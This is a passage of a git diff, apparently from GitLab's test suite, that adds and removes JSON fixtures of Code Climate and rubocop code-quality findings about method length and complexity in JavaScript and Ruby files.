+ "body": "This cop checks for methods with too many parameters.\nThe maximum number of parameters is configurable.\nKeyword arguments can optionally be excluded from the total count."
+ },
+ "engine_name": "rubocop",
+ "fingerprint": "ab5f8b935886b942d621399f5a2ca16e",
+ "severity": "minor"
+ }
+]
diff --git a/spec/fixtures/codequality/codeclimate_without_errors.json b/spec/fixtures/codequality/codeclimate_without_errors.json
new file mode 100644
index 00000000000..fe51488c706
--- /dev/null
+++ b/spec/fixtures/codequality/codeclimate_without_errors.json
@@ -0,0 +1 @@
+[]
diff --git a/spec/fixtures/codequality/codequality.json b/spec/fixtures/codequality/codequality.json
deleted file mode 100644
index 89cc4b46521..00000000000
--- a/spec/fixtures/codequality/codequality.json
+++ /dev/null
@@ -1 +0,0 @@
-[{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `simulateDrag` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"a995a617b0ce0599b6d0a5649a308a8e","location":{"path":"app/assets/javascripts/test_utils/simulate_drag.js","lines":{"begin":75,"end":137}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `simulateEvent` has 28 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"e50b54fce33185efbb17d1c0d210b439","location":{"path":"app/assets/javascripts/test_utils/simulate_drag.js","lines":{"begin":1,"end":37}},"other_locations":[],"remediation_points":672000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `simulateDrag` has 51 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"75ffb8892dac22a9d50822bc69339ab2","location":{"path":"app/assets/javascripts/test_utils/simulate_drag.js","lines":{"begin":75,"end":137}},"other_locations":[],"remediation_points":1224000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `constructor` has 26 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"40f188d222bd1f110e8c11f08ec77c3f","location":{"path":"app/assets/javascripts/blob/3d_viewer/index.js","lines":{"begin":10,"end":47}},"other_locations":[],"remediation_points":624000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `constructor` has 60 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"95b71f07d08eb9e2368568c6d872f677","location":{"path":"app/assets/javascripts/blob/blob_file_dropzone.js","lines":{"begin":21,"end":88}},"other_locations":[],"remediation_points":1440000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"`FileTemplateMediator` has 29 functions (exceeds 20 allowed). Consider refactoring.","fingerprint":"02a64abfacf06440f6504888503fe571","location":{"path":"app/assets/javascripts/blob/file_template_mediator.js","lines":{"begin":11,"end":246}},"other_locations":[],"remediation_points":2100000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `constructor` has 34 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"ede6d8c5878fbfdda2348d1c6a808f4b","location":{"path":"app/assets/javascripts/issuable_form.js","lines":{"begin":14,"end":57}},"other_locations":[],"remediation_points":816000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `initTargetBranchDropdown` has 28 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"748b8a39304544f015c0abcbee9b929c","location":{"path":"app/assets/javascripts/issuable_form.js","lines":{"begin":116,"end":147}},"other_locations":[],"remediation_points":672000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `start` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"b0272210e1d618fe95522ee47f652308","location":{"path":"app/assets/javascripts/smart_interval.js","lines":{"begin":44,"end":65}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `render` has 38 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"ceb92ce0f43dbe13431f1f07d5787aff","location":{"path":"app/assets/javascripts/vue_shared/components/tabs/tabs.js","lines":{"begin":35,"end":75}},"other_locations":[],"remediation_points":912000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `file_icon_map.js` has 587 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"33d443c482c7a34a3a721ef8677a9b9b","location":{"path":"app/assets/javascripts/vue_shared/components/file_icon/file_icon_map.js","lines":{"begin":1,"end":590}},"other_locations":[],"remediation_points":6052800,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `gl_dropdown.js` has 935 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"144655d5e2aa528a6e4d63861c3bc2f1","location":{"path":"app/assets/javascripts/gl_dropdown.js","lines":{"begin":1,"end":1111}},"other_locations":[],"remediation_points":11064000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `GitLabDropdownInput` has 41 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"4679297a043d89d437946bd083443d13","location":{"path":"app/assets/javascripts/gl_dropdown.js","lines":{"begin":14,"end":58}},"other_locations":[],"remediation_points":984000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `GitLabDropdownFilter` has 55 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"0c2b6bfd5d744ae2f9724aae0a60a765","location":{"path":"app/assets/javascripts/gl_dropdown.js","lines":{"begin":76,"end":136}},"other_locations":[],"remediation_points":1320000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `filter` has 53 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"3be214723bb15219db661db421dccba1","location":{"path":"app/assets/javascripts/gl_dropdown.js","lines":{"begin":142,"end":213}},"other_locations":[],"remediation_points":1272000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `GitLabDropdown` has 172 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"45e3d28c25ef43db19fcd1f8bf7a52dc","location":{"path":"app/assets/javascripts/gl_dropdown.js","lines":{"begin":296,"end":481}},"other_locations":[],"remediation_points":4128000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `parseData` has 27 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"5a6929b08a7efc020e932267316a1ce4","location":{"path":"app/assets/javascripts/gl_dropdown.js","lines":{"begin":505,"end":538}},"other_locations":[],"remediation_points":648000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `opened` has 36 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"b32257d5ff71fd022c46be4ff3f196b6","location":{"path":"app/assets/javascripts/gl_dropdown.js","lines":{"begin":580,"end":627}},"other_locations":[],"remediation_points":864000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `renderItem` has 77 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"119c9b263aba3cc2173646b63b83d58d","location":{"path":"app/assets/javascripts/gl_dropdown.js","lines":{"begin":698,"end":793}},"other_locations":[],"remediation_points":1848000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `rowClicked` has 75 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"e37288d65d5701c4b7d06560d3eb6910","location":{"path":"app/assets/javascripts/gl_dropdown.js","lines":{"begin":820,"end":904}},"other_locations":[],"remediation_points":1800000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `addArrowKeyEvent` has 39 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"4ccf81453af86fd4e7f521423adbf28e","location":{"path":"app/assets/javascripts/gl_dropdown.js","lines":{"begin":971,"end":1015}},"other_locations":[],"remediation_points":936000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `highlightRowAtIndex` has 36 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"a0b5b8a75d9f5726f8a559a3068bbfd9","location":{"path":"app/assets/javascripts/gl_dropdown.js","lines":{"begin":1026,"end":1073}},"other_locations":[],"remediation_points":864000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"nested_control_flow","content":{"body":""},"description":"Avoid deeply nested control flow statements.","location":{"path":"app/assets/javascripts/gl_dropdown.js","lines":{"begin":174,"end":184}},"other_locations":[],"remediation_points":450000,"severity":"major","type":"issue","engine_name":"structure","fingerprint":"603368a717652923897a9efd4f494784"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `onOptionClick` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"a1ead8da9cc948075715df57538a53fb","location":{"path":"app/assets/javascripts/groups/groups_filterable_list.js","lines":{"begin":76,"end":122}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `onOptionClick` has 32 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"aa9f5f9cb36f5307a7db44c29b5f3a4c","location":{"path":"app/assets/javascripts/groups/groups_filterable_list.js","lines":{"begin":76,"end":122}},"other_locations":[],"remediation_points":768000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `setSearchedGroups` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"4116f1bf48693b8dbc3a19233c167489","location":{"path":"app/assets/javascripts/groups/store/groups_store.js","lines":{"begin":19,"end":33}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `formatGroupItem` has 31 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"97209b6e238a05d220f90d1e1fcf7c78","location":{"path":"app/assets/javascripts/groups/store/groups_store.js","lines":{"begin":63,"end":96}},"other_locations":[],"remediation_points":744000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `getGroups` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"4f9fc97d0941125a5eb91818b85ac955","location":{"path":"app/assets/javascripts/groups/service/groups_service.js","lines":{"begin":9,"end":34}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `constructor` has 47 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"1cc8f54fcedff8d025db690e89c4d3bc","location":{"path":"app/assets/javascripts/clusters/clusters_bundle.js","lines":{"begin":24,"end":78}},"other_locations":[],"remediation_points":1128000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `constructor` has 45 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"d34e04056341d2986626e42b9927e829","location":{"path":"app/assets/javascripts/clusters/stores/clusters_store.js","lines":{"begin":5,"end":51}},"other_locations":[],"remediation_points":1080000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `initLayoutNav` has 30 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"858063cf6c5a28edd5390360940941f1","location":{"path":"app/assets/javascripts/layout_nav.js","lines":{"begin":12,"end":52}},"other_locations":[],"remediation_points":720000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `sidebarToggleClicked` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"e95063093263d654532b1bda2499ae09","location":{"path":"app/assets/javascripts/right_sidebar.js","lines":{"begin":44,"end":69}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `toggleSidebar` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"b4667aa48f617e84611c658bd9e6fd42","location":{"path":"app/assets/javascripts/right_sidebar.js","lines":{"begin":201,"end":218}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `message` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"f561803cb2a47ffaeed70a1f967105da","location":{"path":"app/assets/javascripts/u2f/error.js","lines":{"begin":9,"end":21}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Function `issueTemplate` has 5 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"36dc94ada0224320b48f9dcddf971dd3","location":{"path":"app/assets/javascripts/api.js","lines":{"begin":223,"end":223}},"other_locations":[],"remediation_points":375000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"`Api` has 24 functions (exceeds 20 allowed). Consider refactoring.","fingerprint":"62c9c1d73c6c2f6f294b2c13a5c92e49","location":{"path":"app/assets/javascripts/api.js","lines":{"begin":5,"end":282}},"other_locations":[],"remediation_points":1600000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `validate` has 39 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"8b07c343f7afe957592fac79043c9586","location":{"path":"app/assets/javascripts/new_branch_form.js","lines":{"begin":53,"end":94}},"other_locations":[],"remediation_points":936000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `labels_select.js` has 444 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"34830d2a928eacedb749d5c66c3637e9","location":{"path":"app/assets/javascripts/labels_select.js","lines":{"begin":1,"end":517}},"other_locations":[],"remediation_points":3993600,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `setDropdownData` has a Cognitive Complexity of 14 (exceeds 5 allowed). Consider refactoring.","fingerprint":"99aee27c164d2c53ee3386f64239ebc9","location":{"path":"app/assets/javascripts/labels_select.js","lines":{"begin":466,"end":507}},"other_locations":[],"remediation_points":1050000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `constructor` has 369 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"ca542a5aefb3dbadb5e0a0100a94b863","location":{"path":"app/assets/javascripts/labels_select.js","lines":{"begin":16,"end":429}},"other_locations":[],"remediation_points":8856000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `data` has 41 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"00d06b2fdc398a9031e900f76184076f","location":{"path":"app/assets/javascripts/labels_select.js","lines":{"begin":133,"end":176}},"other_locations":[],"remediation_points":984000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `renderRow` has 50 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"ef4d877e54496d7ad4da0e0a0b96d9aa","location":{"path":"app/assets/javascripts/labels_select.js","lines":{"begin":177,"end":235}},"other_locations":[],"remediation_points":1200000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `toggleLabel` has 31 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"35ba5b5dab8a50aa713a5ba60e1db7a1","location":{"path":"app/assets/javascripts/labels_select.js","lines":{"begin":242,"end":278}},"other_locations":[],"remediation_points":744000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `hidden` has 26 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"2dc1a005647c9e7e9f81e0eabeb9563d","location":{"path":"app/assets/javascripts/labels_select.js","lines":{"begin":294,"end":324}},"other_locations":[],"remediation_points":624000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `clicked` has 75 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"f7fb23f1a88e5dc4c8430529946de3dc","location":{"path":"app/assets/javascripts/labels_select.js","lines":{"begin":327,"end":414}},"other_locations":[],"remediation_points":1800000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `setDropdownData` has 29 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"955ed39a38f4f36c3ae0d23199b6b90d","location":{"path":"app/assets/javascripts/labels_select.js","lines":{"begin":466,"end":507}},"other_locations":[],"remediation_points":696000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"nested_control_flow","content":{"body":""},"description":"Avoid deeply nested control flow statements.","location":{"path":"app/assets/javascripts/labels_select.js","lines":{"begin":407,"end":412}},"other_locations":[],"remediation_points":450000,"severity":"major","type":"issue","engine_name":"structure","fingerprint":"cefdca8d12fc08aff6e7a861750e99d9"},{"categories":["Complexity"],"check_name":"return_statements","content":{"body":""},"description":"Avoid too many `return` statements within this function.","location":{"path":"app/assets/javascripts/labels_select.js","lines":{"begin":377,"end":377}},"other_locations":[],"remediation_points":300000,"severity":"major","type":"issue","engine_name":"structure","fingerprint":"1d311ac9ae722bf786749b2125e5cf47"},{"categories":["Complexity"],"check_name":"return_statements","content":{"body":""},"description":"Avoid too many `return` statements within this function.","location":{"path":"app/assets/javascripts/labels_select.js","lines":{"begin":411,"end":411}},"other_locations":[],"remediation_points":300000,"severity":"major","type":"issue","engine_name":"structure","fingerprint":"7d42a3bbce082d2bbdc96d5eaa747454"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `storeEnvironments` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"70cce4c4dfcfa9c7fb820fc6dea68e9c","location":{"path":"app/assets/javascripts/environments/stores/environments_store.js","lines":{"begin":36,"end":71}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `storeEnvironments` has 28 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"f5b13b9d301832978862f37bcc22708f","location":{"path":"app/assets/javascripts/environments/stores/environments_store.js","lines":{"begin":36,"end":71}},"other_locations":[],"remediation_points":672000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `created` has 28 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"139fddb1aa522eb2c141871eab765fc3","location":{"path":"app/assets/javascripts/environments/mixins/environments_mixin.js","lines":{"begin":142,"end":175}},"other_locations":[],"remediation_points":672000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `constructor` has 37 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"b4d0a598693b87337ee6b071a35c6da2","location":{"path":"app/assets/javascripts/issuable_context.js","lines":{"begin":7,"end":51}},"other_locations":[],"remediation_points":888000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `dropzoneInput` has 210 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"96984c8a7930ad755604f49c3edf6a2b","location":{"path":"app/assets/javascripts/dropzone_input.js","lines":{"begin":23,"end":290}},"other_locations":[],"remediation_points":5040000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Function `constructor` has 26 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"1ec26d8ddc2c55de770d1f8038f590f4","location":{"path":"app/assets/javascripts/zen_mode.js","lines":{"begin":39,"end":67}},"other_locations":[],"remediation_points":624000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `types.ADD_NEW_NOTE` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"026945d2d3de0e3f478ec55a7bb820f5","location":{"path":"app/assets/javascripts/notes/stores/mutations.js","lines":{"begin":7,"end":31}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Function `types.REMOVE_PLACEHOLDER_NOTES` has a Cognitive Complexity of 11 (exceeds 5 allowed). Consider 